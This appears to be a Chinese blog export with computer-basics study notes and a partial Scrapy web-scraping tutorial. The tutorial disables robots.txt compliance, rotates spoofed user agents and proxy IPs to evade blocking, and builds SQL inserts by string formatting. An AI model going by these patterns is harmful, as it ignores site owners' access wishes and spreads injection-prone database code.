输入:接受由输入设备(如键盘)提供的数据. 处理:对数据进行操作,按一定方式将它们转换. 输出:在输出设备上(如显示器等)显示操作处理结果. 存储:存储处理结果供以后使用. 计算机组成 计算机主机 计算机硬件相关计算机基本组成部分:显卡、主板、电源、中央处理器 裸机:未配置任何软件的计算机 cpu中央处理器CPU是主机内部负责运算和控制的控制中心,是电脑的最关键部位,是计算机的头脑. CPU相当于人的大脑一样,在计算机中进行的任何操作数据的输入、存储、程序的运行,屏幕的显示、结果的打印 都是在CPU的控制下完成的,CPU是决定计算机的工作速度和效率的重要部件之一. 所属类别: 计算机系统的执行单元,是超大规模的集成电路 用途: 处理指令、执行操作、控制时间、处理数据 功能: 信息处理、程序运行的最终执行单元 从最初专用于数学计算到广泛应用于通用计算,从4位到8位、16位、32位处理器,最后到64位处理器,从各厂商互不兼容到不同指令集架构规范的出现,CPU 自诞生以来一直在飞速发展. 性能衡量指标CPU有几个重要的参数:主频、核心、线程、缓存、架构 主频我们常在CPU的参数里看到3.0GHz、3.7GHz等就是CPU的主频,严谨的说他是CPU内核的时钟频率,它直接的决定 了CPU的性能,可以通过超频来提高CPU主频来获得更高性能,单位时MHz(或GHz),用来表示CPU的运算、处理数据的速度. 举个有趣的例子:CPU的主频相当于我们胳膊的肌肉(力量),主频越高,力量越大. 核心我们更多听到的是,这个CPU是几核几核的,如2核、4核、6核、8核、16核等等. 这个核心可以理解为我们人类的胳膊,2核就是两条胳膊,4核就是4条胳膊,6核就是6条胳膊. 线程光有胳膊(核心)和肌肉(频率)是干不了活的,还必须要有手(线程)才行. 一般来说,单核配单线程、双核配双线程或者双核四线程、四核八线程等等,就相当于一条胳膊长一只手.后来由于技术越来越厉害,造出了一条胳膊长两只手的情况,这样干活的效率就大大的提高了. 架构现在胳膊有了,肌肉有了,手也有了,就差一个工具就可以干活了 这个工具就是CPU的架构,架构对性能的影响巨大. 新老架构区别很大,所以说有句话叫抛开架构看核心、频率都是耍流氓!这就是为啥以前AMD的CPU虽然核心数量和频率都比同时期的英特尔高,但是依然流传着i3战A8,i5秒全家、i7轰成渣这样的说法了. 这个时候可能有的人不理解了,怎么看架构呢?这个其实不用担心,因为一般来说,每一代CPU的架构都是一样的, 比如i3-8100、i5-8500、i7-8700都是8代的CPU,使用的架构也是一样的,现在官方店在售的也都是最新款,因此架构主要看最一代处理器就够了. 缓存(CaChe)缓存也是CPU里一项很重要的参数.由于CPU的运算速度特别快,在内存条的读写忙不过来的时候,CPU就可以把这 部分数据存入缓存中,以此来缓解CPU的运算速度与内存条读写速度不匹配的矛盾,所以缓存是越大越好. 随机存取存储器(RAM 内存)随机存取存储器(RAM)通常是指在工作时临时存储动态数据以增强计算机性能的计算机芯片. 换句话说,它是计算机的工作场所,在其中装载了活动的程序和数据,以便处理器在任何时候需要它们时,都不必从硬盘上获取它们. 随机存取存储器是易失性的,这意味着一旦关闭电源,它就会丢失其内容.这与非易失性存储器(例如硬盘和闪存) 不同,后者不需要电源来保留数据. 当计算机正常关闭时,位于RAM中的所有数据将返回到硬盘驱动器或闪存驱动器上的永久存储中.在下次启动时, RAM开始填充启动时自动加载的程序,此过程称为启动. 稍后,用户打开仍在内存中加载的其他文件和程序. 高速缓存存储器(CaChe)高速缓存是高速内存(RAM)的一小块,它通过从(相对较慢)主内存中预加载信息并将其按需传递给处理器来提高PC性能. 大多数CPU都具有内部高速缓存(内置于处理器中),称为一级缓存或主高速缓存.这可以通过主板上安装的外部缓存来补充.这是二级或二级缓存. 在现代计算机中,第1级和第2级高速缓存内置在处理器芯片中.如果在裸片外部实现了第三高速缓存,则将其称为3级(L3)高速缓存. 基本输入/输出系统(BIOS)BIOS代表基本输入/输出系统.BIOS是”只读”内存,它由控制系统硬件并充当操作系统和硬件之间的接口的低级软件组成.大多数人都将BIOS一词称为设备驱动程序或驱动程序. BIOS本质上是系统中计算机硬件和软件之间的链接. 所有主板都包括一小块只读存储器(ROM),该存储器与用于加载和运行软件的主系统存储器分开.在PC上,BIOS 包含控制键盘,显示屏,磁盘驱动器,串行通信和许多其他功能所需的所有代码. 系统BIOS是主板上的ROM芯片,用于启动例程(引导过程),用于检出系统并准备运行硬件.BIOS存储在ROM芯片 上,因为即使计算机没有通电,ROM也会保留信息. 半导体随机存取存储器(CMOS RAM)主板还包括一小块由CMOS RAM芯片制成的单独的内存块,即使PC断电,该内存也由电池(称为CMOS电池)保持 活动状态.这样可以防止在PC开机时重新配置. CMOS器件只需很少的功率即可运行. CMOS RAM用于存储有关PC配置的基本信息,例如: 软盘和硬盘驱动器类型 有关CPU的信息 内存大小 日期和时间 串行和并行端口信息 即插即用信息 省电设置 保存在CMOS存储器中的其他重要数据是时间和日期,由实时时钟(RTC)更新. 显卡 显卡,也叫显示卡、显像卡、显示适配器,是计算机中的一种重要的硬件设备,用来处理和输出图像信号.它将计算机中的数字信号转换成图像信号,通过显示器来显示出来.显卡通常包括图像处理器、视频随机存取存储器(VRAM)、视频输出接口等部分,其性能直接影响到计算机图形图像处理的速度和质量.在游戏、影视制作、计算机辅助设计等方面,显卡的性能非常重要. 硬盘 按原理分为:机械硬盘(HDD)、固态硬盘(SSD)及混合硬盘(SSHD) 机械硬盘(HDD)机械硬盘(HDD)是传统硬盘,为电脑主要的存储媒介之一.由一个或者多个铝制或者玻璃制成的磁性碟片,磁头,转轴,控制电机,磁头控制器,数据转换器,接口和缓存等几个部分组成.工作时,磁头悬浮在高速旋转的碟片上进行读写数据.机械硬盘是集精密机械、微电子电路、电磁转换为一体的电脑存储设备. 固态硬盘(SSD)固态硬盘(SSD)是由多个闪存芯片加主控以及缓存组成的阵列式存储,属于以固态电子存储芯片阵列制成的硬盘. 相对机械硬盘,读取速度更快,寻道时间更小,可加快操作系统启动速度和软件启动速度. 混合硬盘(SSHD)混合硬盘(SSHD)是机械硬盘与固态硬盘的结合体,采用容量较小的闪存颗粒用来存储常用常用文件,而磁盘才是最重要的存储介质,闪存仅起到了缓冲作用,将更多的常用文件保存到闪存内减小寻道时间,从而提升效率. 计算机中信息的表示二进制什么是二进制二进制是一套计数方法,每个位置上的数有2种可能(0 - 1),它的基数为2,进位规则是”逢二进一”,借位规则是”借一当二”,由18世纪德国数理哲学大师莱布尼兹发现,当前的计算机系统使用的基本上是二进制系统,数据在计算机中主要是以补码的形式存储的.计算机中二进制则是一个非常微小的开关, 用”开”来表示1,关来表示0. 数制 数制就是一种表示数字的方法.我们通常使用的十进制数制,是一种基于10个数字 在这些数制中,每个数字的位置仍然代表它所代表的数值的大小,但数字的取值范围和表示方式不同. 不同的数制可以在不同的应用场景中使用.例如,在计算机科学中,二进制数制是最基本的数制,因为计算机内部的所有数据都是以二进制形式存 储和处理的.十六进制数制则常用于表示颜色代码和内存地址等. 数码 数码:一组用来表示某种数制的符号.如:1、2、3、4、A、B、C、Ⅰ、Ⅱ、Ⅲ、Ⅳ、Ⅴ等. 基数 基数:数制所使用的数码个数称为”基数”或”基”,常用”R”表示,称为R进制.如二进制的数码是0、1,基为2. 位权 位权:指数码在不同位置上的权值.在进位计数制中,处于不同数位的数码代表的数值不同.如十进制数111, 二进制转换 R进制(二进制、八进制、十六进制)转10进制 标指数 按权展 和相加 十进制转二进制 整数除二取余法,余数倒排 小数乘2法,乘积的整数部分正排 二进制转八进制,一组三个,421法 二进制转十六进制一组四个,8421法 比特计算机拥有数十亿超小型的数字电路,这些电路由开关组成,并且开关的状态只有开或关,分别代表二进制中的1和0 .回想那些年我们逃过的数字电路课,依稀记得当时通过调节其中部分电路开关,决定是否让电流通过,可以看到对应开关上的红灯是否被点亮. 计算机中最小的存储单位是二进制位(binary digit),也叫比特 , bit只能够存储0或1;而要存储额外的信息 (如更大的十进制数),计算机通过串联这些 bit 来完成.这正是它牛逼的地方,只要开关足够多,它可以通过这些0和1代表任何内容. 由 8 bit 串联组成的称为字节(byte) ,1 个字节可以代表 256 种不同的可能($2^8$),2 个字节可以代表 65,536 种不同的可能($2^{16}$),而这只需要 16 个开关 信息的编码ASCII ASCII码又称西文字符 标准的ASCII码采用7位二进制编码,因此一个字符在计算机内实际使用一个字节8位表示 A:65,a:97,0:48,空格:32.空格<数字<大写<小写,十进制大小相差32,十六进制大小相差20H 在ASCII码中控制符号的字符是无法打印或显示出来的 正常情况下,最高位为0在需要奇偶校验时,第一位可用于存放奇偶校验的值,此时称这一位为校验位 ASCII码表ASCII码表包含了128个字符,每个字符都有一个唯一的整数值.下面是ASCII码表的一部分: ASCII码的应用ASCII码被广泛应用于计算机和通信设备中,例如: 在计算机中,每个字符都以ASCII码的形式存储和处理; 在通信设备中,ASCII码被用于表示文本消息和命令. ASCII码的扩展由于只有128个字符,ASCII码并不能满足所有的字符需求.为了解决这个问题,人们开发了一些扩展的编码方式,如Unicode和UTF-8等. Unicode是一种包含了几乎所有字符的编码方式,它将每个字符映射到一个唯一的整数值.UTF-8是一种基于Unicode的编码方式,它将Unicode字符编码成一系列字节,以便于在计算机中存储和处理. 小结 ASCII码是一种用于表达字符的编码方式,它将每个字符映射到一个整数值; ASCII码表包含了128个字符,每个字符都有一个唯一的整数值; ASCII码被广泛应用于计算机和通信设备中; Unicode和UTF-8是ASCII码的扩展,它们可以表达更多的字符. 汉字编码 汉字交换码:又称国标码汉字编码的国家标准,代号为GB2312-80(80为1980年颁布的) 1一个汉字占两个字节,最高位均为0 GBK:国标扩展码 汉字机内码:汉字被计算机系统内部处理和存储而是用的编码,一个国标码占两个字节,一个汉字占两个字节 1234一个汉字的机内码两个字节的最高位均为1机内码=是将国标码的最高位0变成1,其他位不变00101101 0100101110101101 11001011 汉字区位码(唯一无重码的输入码):为了方便查询和使用.把国标码排列在一张94行(区)94列(位)的二维表中 1区位码+2020H--->国标码+8080H--->机内码(十六进制) 如果机内码反求区位码,切记,一定要转换为十进制 123456789区位码:最早的汉字编码,解决汉字的编排问题区码为行(01-94),位码位列(01-94)高位为区码,低位为位码例"啊"高位就是16,低位是01区位码转换成十六进制区位码1601(4位十进制数组成一个区位码)16D=10H01D=01H=1001H(区位码) 汉字字形码又称汉字字模,用于在显示屏显示或打印机输出,表示方式:点阵和矢量 1存储空间字节数的计算方法:行点数*列点数/8 Windows 系统的学习WINDOWS快捷方式 快捷键组合 功能描述 Windows 显示或隐藏 “开始” 功能菜单 Windows + D 显示桌面或恢复原先打开的窗口 Windows + E 打开 “我的电脑” Windows + R 开启 “运行” 对话框 Windows + L 锁定计算机 Windows 按住不动 + Tab 以立体效果切换打开的应用程序 (仅Win7支持) 运行窗口常用命令 命令 描述 services.msc 打开本地服务设置,管理系统服务 mmc 打开控制台,用于各种管理扩展组件 notepad 打开记事本,用于文本编辑 gpedit.msc 打开组策略,管理计算机和用户配置 mstsc 启动远程桌面连接,访问远程系统 msinfo32 显示系统信息,了解硬件和软件配置 devmgmt.msc 打开设备管理器,管理硬件设备 taskmgr 打开任务管理器,查看进程和性能 firewall.cpl 打开Windows防火墙,管理防火墙设置 lusrmgr.msc 管理本机用户和组账户 control 打开控制面板,更改系统设置 compmgmt.msc 打开计算机管理,集成多种管理工具 Ctrt快捷键(文本编辑使用较多) 快捷键 功能 Ctrl + S 保存文件 Ctrl + Z 撤销上一操作 Ctrl + F 查找内容 Ctrl + X 剪切选中内容 Ctrl + C 复制选中内容 Ctrl + V 粘贴剪贴板内容 Ctrl + A 全选文档内容 Ctrl + Shift 切换输入法 Ctrl + 空格 中英文输入法切换 Ctrl + Alt + A 截屏 (QQ的截屏快捷键) ALT快捷键 Alt+F4 关闭当前程序 Alt+Tab在打开的应用不同窗口间进行切换 新一代信息技术云计算 概念:一种按照使用量付费的模式,这种模式提供可用的、便捷的、按需的网络访问,进入可配置的计算资源共享池(资源包括网络,服务器,存储,应用软件,服务等),这些资源能够给被快速提供,只需要投入很少的管理工作,或与服务供应商进行很少的交互 特点 按需服务 极其廉价 规模大 虚拟化 可靠性高 通用性强 可伸缩性(可扩展性) 服务模式 基础架构即服务(IaaS)将云计算机的内存、I/O设备、存储、计算能力整合成一个虚拟的资源池,为用户提供所需的存储资源和虚拟化服务器等服务例如:云存储,云主机,云服务器,位于云计算服务的最底端 平台即服务(Paas)将软件研发的平台作为一种服务,例如:云数据库,位于云计算服务的中间 软件即服务(SaaS)指通过互联网就直接能够使用软件应用,不需要本地安装例如:阿里云的短信服务,邮件推送,是最常见的云计算服务,位于云计算服务的顶端 部署模型 公有云:对公众开放的云服务,目前最为主流和受欢迎的云计算部署模式. 私有云:组织结构建设的仅供自己使用的云平台,不对公众提供服务. 混合云:由私有云和公有云混合组成,使用混合云计算模式,机构可以在公有云上运行非核心的应用程序,在私有云上支持其核心程序以及内部敏感数据. 关键技术 数据中心相关技术:数据中心相当于云计算的大脑.在这个系统中占有核心地位,其稳定运转对整个系统的意义不言而喻. 虚拟化技术:虚拟化技术具有资源分享、定制以及细粒度资源管理的特点虚拟机快速部署技术和虚拟化在线迁移技术是它的两项关键技术. 海量数据存储与处理技术:海量数裾的存储和处理是云计算的关键能力,需要考虑系统的I/O性能等技术参数. 资源管理与调度技术:云计算平台有庞大的数据交互、海量的数据存储和处理.这给平台的资源管理和调度带来了巨大的挑战. 服务质量保证机制:确保服务的高可靠. 安全与隐私保护技术:用户将数据存在在云计算平台上,如何保证用户数据的安全隔离,保证用户敏感数据的安全性是云计算需要考虑的问题. 大数据 概念:一种规模大到,在获取、存储、管理、分析等方面,都远远超出了传统数据库软件等工具的能力范围的数据集合,具有海量的数据规模、快速的数据流转,多样的数据类型和价值密度低等四大特征. 大数据的特征可以用4个V来总结 数据量巨大(Volume) 数据类型繁多(Variety) 处理速度快(Velocity) 价值密度低(Value) 大数据处理技术基础 大数据是技术的合集 数据产生技术 数据获取与存储技术 数据处理技术 数据呈现技术 数据处理的思维和方法的特点 不是抽样统计,而是面向全体样本 允许不精确和混杂性 不是因果关系,而是相互关系 大数据计算模式 批处理计算:针对大规模数据的批量处理 流计算:针对流数据的实时计算 图计算:针对大规模图结构数据处理 查询分析计算:大规模数据的存储管理和查询分析 物联网 物物相连的互联网,即物联网 物联网的关键技术 RFID技术 传感技术 嵌入式技术 位置服务技术 IPv6技术 物联网四大支撑技术 RFID 传感网 M2M:基于移动端的移动互联网模式 两化融合 物联网典型体系架构 感知层 网络层 应用层 物联网的应用 智能家居 智能交通 智能医疗 智能物流等 人工智能 它是研究、开发用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统的一门新的技术科学 人工智能应用领域 智能机器人 模式识别系统 染色体识别 图形识别 图像识别 语音识别 机器人视觉识别 自然语言处理程序 智能检索系统 区块链 区块链是分布式数据存储、点对点传输、共识机制、加密算法等计算机技术的新型应用模式 区块链是一种按照时间顺序将数据区块以顺序相连的方式组合成的一种链式结构 基础技术 哈希运算(hash)(sha-256单向加密) 数字签名 P2P网络 共识算法 智能合约 特性 透明可信 防篡改可追溯 去信任 系统高可靠 去中心化 匿名性 开放共识 分类 共有链 私有链 联盟链 应用领域 数字金融 物流 数字版权 数字货币 虚拟现实 虚拟现实( Virtual Reality,简称VR)又称作虚拟环境,是一种利用计算机模拟产生的一个虚拟的三维世界,为用户提供关于视觉、触觉、嗅觉等感官的模拟,使用户可以即时地感知虚拟世界并与之交互. 特征 沉浸式 交互式 构想性 多感知性 关键技术 环境建模技术 立体声合成和立体显示技术 触觉反馈技术 交互技术 典型应用 教育应用 工程设计领域 医学领域 影视娱乐 军事领域 商业领域 其他相关技术 增强现实","tags":["计算机基础"]},{"title":"Python-Scrapy的基本使用","path":"/2020/05/24/48cd9b71/","content":"总字符数: 21.88K 代码: 18.29K, 文本: 1.74K 预计阅读时间: 1.45 小时 scrapy的基本使用 创建一个工程 scrapy startproject filename 必须在spiders这个目录下创建一个爬虫文件 cd proName scrapy genspider spiderName www.xxx.com 执行工程:scrapy crawl spiderName settings.py 不遵从rebots协议 ROBOTSTXT_OBEY = False 进行UA伪装 USER_AGENT = 'UA' 进行日志等级设定 LOG_LEVEL = 'ERROR' scrapy解析12345678910111213def parse(self, response): # 解析:作者的名称+段子的内容 div_list = response.xpath('//div[@class="col1 old-style-col1"]/div') for div in div_list: # xpath返回的是列表, 但是列表元素一定是Selector类型的对象想要取得内容可以直接.extract() # .extract可以将Selector对象中的data参数存储的字符串提取出来 # 只要能保证返回的列表里只有一个内容就可以使用.extract_first否则还是使用[下标]取出 # .extract_first将列表中的第0个取出 author = div.xpath('./div[1]/a[2]/h2/text()').extract_first() # 列表调用了.extract之后, 则表示将列表中每一个Selector对象中的data对应的字符串提取了出来 content = div.xpath('./a[1]/div/span//text()').extract() content = ''.join(content) # 将列表转换为字符串 print(author, content) scrapy持久化存储 基于终端指令: 要求:只可以将parse方法的返回值存储到本地的文本文件中 scrapy crawl qiubai -o ./qiubai.csv 注意:持久化存储对应的文本文件类型只可以为:'json','jsonlines','jl','csv','xml','marshal','pickle' 好处:简洁高效便捷 缺点:局限性较强(数据值可以存储到指定后缀名文件中) 基于管道 编码流程: 数据解析 123456789101112131415161718192021#qiubai.py 文件名import scrapy from qiubaiPro.items import QiubaiproItem#导入item类class QiubaiSpider(scrapy.Spider): name = 'qiubai' # allowed_domains = ['www.xxx.com'] start_urls = ['https://www.qiushibaike.com/text/'] def parse(self, response): # 解析:作者的名称+段子的内容 div_list = response.xpath('//div[@class="col1 old-style-col1"]/div') for div in div_list: # xpath返回的是列表, 但是列表元素一定是Selector类型的对象想要取得内容可以直接.extract() # .extract可以将Selector对象中的data参数存储的字符串提取出来 # 只要能保证返回的列表里只有一个内容就可以使用.extract_first否则还是使用[下标]取出 # .extract_first将列表中的第0个取出 # 匿名用户和正常用户的用户名不在同一个div中所以使用管道符分割,来写2个xpath表达式 author = div.xpath('./div[1]/a[2]/h2/text() ./div[1]/span[2]/h2/text()').extract_first() # 列表调用了.extract之后, 则表示将列表中每一个Selector对象中的data对应的字符串提取了出来 content = div.xpath('./a[1]/div/span//text()').extract() content = ''.join(content) # 将列表转换为字符串 在item类中定义相关的属性 1234567891011121314#items.py 文件名# Define here the models for your scraped items## See documentation in:# https://docs.scrapy.org/en/latest/topics/items.htmlimport scrapyclass QiubaiproItem(scrapy.Item): # define the fields for your item here like: author = scrapy.Field()#定义author属性 content = scrapy.Field()#定义content属性 将解析的数据封装存储到item类型的对象中 1234#qiubai.py 文件名item = QiubaiproItem()#实例化对象item['author'] = author#将author存储到item对象中item['content'] = content#将content存储到item对象中 将item类型的对象提交给管道进行持久化存储的操作 12# 将item提交给了管道yield item 在管道类的process_item中要将其接收到的item对象中存储的数据进行持久化存储操作 123456789101112131415161718192021222324252627282930313233#pipelines.py 文件名# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterclass QiubaiproPipeline: # 专门用来处理item类型对象 # 该方法可以接收爬虫文件提交过来的item对象 # 该方法每接收到一个item就会被调用一次 fp = None # 重写父类的一个方法:该方法只在开始爬虫的时候被调用一次 def open_spider(self, spider): print('打开文件') self.fp = open('./qiubai.txt', 'w', encoding='utf-8') pass def process_item(self, item, spider): author = item['author'] content = item['content'] self.fp.write(author+':'+content+' ') return item def close_spider(self, spider): print('关闭文件') self.fp.close() 在配置文件中开启管道好处: 12345#setting.py 文件名#将以下内容取消注释,300代表优先级,数字越小优先级越高,一个键值对应一个管道类ITEM_PIPELINES = { 'qiubaiPro.pipelines.QiubaiproPipeline': 300,} 优点: 通用性强 缺点: 操作繁琐 测试题 将爬取到的数据一份存储到本地一份存储到数据库,如何实现? 123456#settings.py 文件名ITEM_PIPELINES = { 'qiubaiPro.pipelines.QiubaiproPipeline': 300, 'qiubaiPro.pipelines.mysqlPileLine': 301,} 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162#pipelines.py 文件名# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterimport pymysqlclass QiubaiproPipeline: # 专门用来处理item类型对象 # 该方法可以接收爬虫文件提交过来的item对象 # 该方法每接收到一个item就会被调用一次 fp = None # 重写父类的一个方法:该方法只在开始爬虫的时候被调用一次 def open_spider(self, spider): print('打开文件') self.fp = open('./qiubai.txt', 'w', encoding='utf-8') pass def process_item(self, item, spider): author = item['author'] content = item['content'] self.fp.write(author+':'+content+' ') return item # return item就会传递给下一个即将被执行的管道类 def close_spider(self, spider): print('关闭文件') self.fp.close() # 管道文件中一个管道类对应将一组数据存储到一个平台或者载体中 class mysqlPileLine: conn = None cursor = None def open_spider(self, spider): print('正在连接数据库') self.conn = pymysql.Connect( host='127.0.0.1', port=3306, user='root', password='123456789', db='qiubai', charset="utf8") def process_item(self, item, spider): print('正在写入数据') self.cursor = self.conn.cursor() try: self.cursor.execute('insert into qiubai values("%s","%s")' % (item["author"], item["content"])) self.conn.commit() except Exception as e: print(e) self.conn.rollback return item def close_spider(self, spider): print('正在关闭连接') self.cursor.close() self.conn.close() 爬虫文件提交的item类型的对象最终会提交给哪一个管道类? 爬虫文件提交的item只会给管道文件中第一个被执行的管道类接收 第一个管道类中的process_item中的return item表示将item传递给下一个即将被执行的管道类 基于Spider的全站数据爬取什么是全站数据爬取 就是将网站中某板块下的全部页码对应的页面数据爬取下来 需求:爬取校花网中的照片的名称 实现方式: 自行手动进行请求发送(推荐) 将所有页面的url添加到start_urls列表中(不推荐,如果页码有上万个呢?) 123456789101112131415161718192021222324#xiaohua.pyimport scrapyclass XiaohuaSpider(scrapy.Spider): name = 'xiaohua' # allowed_domains = ['www.xxx.com'] start_urls = ['http://www.521609.com/tuku/index.html'] # 生成一个通用的url模板(不可变) url = 'http://www.521609.com/tuku/index_%d.html' page_num = 2 def parse(self, response): li_list = response.xpath('//ul[@class="pbl "]/li') for li in li_list: img_name = li.xpath('./a/p/text()').extract_first() print(img_name) if self.page_num <= 51: print(self.page_num) new_url = format(self.url % self.page_num) # 手动请求发送:callbak回调函数是专门用于数据解析 self.page_num += 1 yield scrapy.Request(url=new_url, callback =self.parse) 请求传参 使用场景:如果爬取的解析数据不在同一张页面中.(深度爬取) 图片数据爬取之ImagesPipeline 基于scrapy爬取字符串类型的数据和爬取图片类型的数据区别? 字符串:只需要xpath进行解析且提交管道进行持久化存储 图片:xpath解析出图片的src属性值.单独对图片地址发起请求获取图片二进制类型的数据 ImagesPipeline: 只需要将img的src的属性值进行解析,将属性值封装到item并提交给管道,管道就会对图片的src进行请求发送获取图片的二进制类型的数据,且还会帮我们进行持久化存储 需求:爬取站长素材中的高清图片 使用流程: 数据解析(地址的地址) 将存储文件地址的item提交到指定的管道类 在管道文件中定制一个基于ImagesPipeLine的一个管道类 1234567891011121314151617181920212223242526272829#pipelines.py# Define your item pipelines here## Don't forget to add your pipeline to the ITEM_PIPELINES setting# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html# useful for handling different item types with a single interfacefrom itemadapter import ItemAdapterfrom scrapy.pipelines.images import ImagesPipelineimport scrapy# class ZhanzhangproPipeline:# def process_item(self, item, spider):# return itemclass imgsPileLine(ImagesPipeline): # 就是可以根据图片地址进行图片数据的请求 def get_media_requests(self, item, info): yield scrapy.Request(item['src']) # 指定图片存储的路径 def file_path(self, request, response=None, info=None): imgName = request.url.split('/')[-1] return imgName def item_completed(self, results, item, info): return item # 返回给下一个即将被执行的管道类 修改serrings.py配置文件 123#serrings.py#指定图片存储的目录IMAGES_STORE = './imgs' 指定开启的管道类:定制的管道类 12345serrings.pyITEM_PIPELINES = { 'zhanzhangPro.pipelines.imgsPileLine': 300,} 中间件 下载中间件 位置:引擎和下载器之间 作用:批量拦截到整个工程中所有的请求和响应 拦截请求 UA伪装 代理IP 拦截响应: 篡改响应数据,响应对象 设置UA伪装以及代理IP 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091#middlewares.py# Define here the models for your spider middleware## See documentation in:# https://docs.scrapy.org/en/latest/topics/spider-middleware.htmlfrom scrapy import signals# useful for handling different item types with a single interfacefrom itemadapter import is_item, ItemAdapterimport randomclass QiubaiproDownloaderMiddleware: user_agent_list = [ "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 " "(KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1", "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 " "(KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 " "(KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 " "(KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 " "(KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 " "(KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 " "(KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 " "(KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 " "(KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 " "(KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24" ] # 可被选用的代理IP PROXY_http = [ '153.180.102.104:80', '195.208.131.189:56055', ] PROXY_https = [ '120.83.49.90:9000', '95.189.112.214:35508', ] # 拦截请求 def process_request(self, request, spider): # UA伪装 request.headers['User-Agent'] = random.choice(self.user_agent_list) return None # 拦截所有的响应 def process_response(self, request, response, spider): # Called with the response returned from the downloader. # Must either; # - return a Response object # - return a Request object # - or raise IgnoreRequest return response # 拦截发生异常的请求 def process_exception(self, request, exception, spider): # 发生请求异常后设置代理 # 对拦截到请求的url进行判断(协议头到底是http还是https) # request.url返回值:http://www.xxx.com if request.url.split(':')[0] == 'https': # 请求的协议头 ip = random.choice(self.PROXY_https) request.meta['proxy'] = 'https://'+ip else: ip = random.choice(self.PROXY_http) request.meta['proxy'] = 'http://' + ip return request # 将修正之后的请求对象进行重新的请求发送 在settings.py中开启下载中间件 123DOWNLOADER_MIDDLEWARES = { 'qiubaiPro.middlewares.QiubaiproDownloaderMiddleware': 543,} 需求:爬取网易新闻中的新闻数据(标题和内容) 通过网易新闻的首页解析出五大板块对应的详情页URL(没有动态加载) 每一个板块对应的新闻标题都是动态加载出来的(动态加载) 通过解析出每一条新闻详情页的url获取详情页的页面源码,解析出新闻内容 1234567891011121314#settings.py#基本操作USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'# Obey robots.txt rulesROBOTSTXT_OBEY = FalseLOG_LEVEL = 'ERROR'#开启中间件拦截DOWNLOADER_MIDDLEWARES = { 'wangyiPro.middlewares.WangyiproDownloaderMiddleware': 543,}#开启管道ITEM_PIPELINES = { 'wangyiPro.pipelines.WangyiproPipeline': 300,} 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253#wangyi.pyimport scrapyfrom selenium import webdriverfrom wangyiPro.items import WangyiproItemclass WangyiSpider(scrapy.Spider): name = 'wangyi' # allowed_domains = ['https://news.163.com/'] start_urls = ['https://news.163.com/'] models_urls = [] # 存储五个板块对应详情页的url # 解析五大板块对应详情页的url # 实例化一个浏览器对象 def __init__(self): # 后面是你的浏览器驱动位置,记得前面加r'','r'是防止字符转义的 self.bro = webdriver.Chrome( executable_path=r'D:\\Learning world\\personal project\\personal project\\Python\\爬虫\\scrapy\\wangyiPro\\wangyiPro\\chromedriver.exe') def parse(self, response): li_list = response.xpath('//div[@class="ns_area list"]/ul/li') alist = [3, 4, 6, 7, 8] for index in alist: model_url = li_list[index].xpath('./a/@href').extract_first() self.models_urls.append(model_url) # 依次对每一个板块对应的页面进行请求 for url in self.models_urls: # 对每一个板块的url进行请求发送 yield scrapy.Request(url=url, callback=self.parse_model) # 每一个板块对应的新闻标题相关的内容都是动态加载 def parse_model(self, response): # 解析每一个板块页面中对应新闻的标题和新闻详情页的url div_list = response.xpath('//div[@class="ndi_main"]/div') for div in div_list: title = 